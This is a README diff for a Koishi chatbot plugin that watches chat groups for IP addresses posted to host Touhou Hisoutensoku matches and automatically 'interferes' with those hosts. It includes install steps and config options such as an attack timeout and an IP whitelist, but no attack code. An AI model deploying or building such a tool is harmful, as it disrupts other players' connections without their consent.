 # koishi-plugin-hisoutensoku-jammer
 
-rework of https://github.com/purerosefallen/hisoutensoku-terminiator
\ No newline at end of file
+~~听说你喜欢打则~~
+
+这个插件会监听一些群或其他来源的消息，若有人发布打则的 IP 地址，则自动干扰打则。
+
+## 安装
+
+### npm
+
+```bash
+npm install koishi-plugin-hisoutensoku-jammer
+```
+
+### 直接安装
+
+在 https://cdn01.moecube.com/nanahira/koishi-plugin/hisoutensoku-jammer.js 下载，并配置 `koishi.config.js` 。
+
+```js
+module.exports = {
+    plugins: { 
+        "/path/to/hisoutensoku-jammer.js": {
+            {
+                target: (ctx) => ctx.all(),
+                attackTimeout: 10000,
+                addressWhitelist: []
+            }
+        }
+    }
+}
+```
+
+## 配置
+
+```ts
+const defaultConfig: HisoutensokuJammerConfig = {
+  target: (ctx: Context) => ctx.all(),
+  attackTimeout: 10000,
+  addressWhitelist: [],
+};
+```
+
+### 说明
+
+* `target` 一个上下文函数，决定作用域。如 `(ctx) => ctx.group('1111111111')` 为只对群 1111111111 有效。
+
+* `attackTimeout` 每次的干扰时长，单位 ms 。
+
+* `addressWhitelist` IP 白名单列表。白名单的 IP 地址不会被干扰。
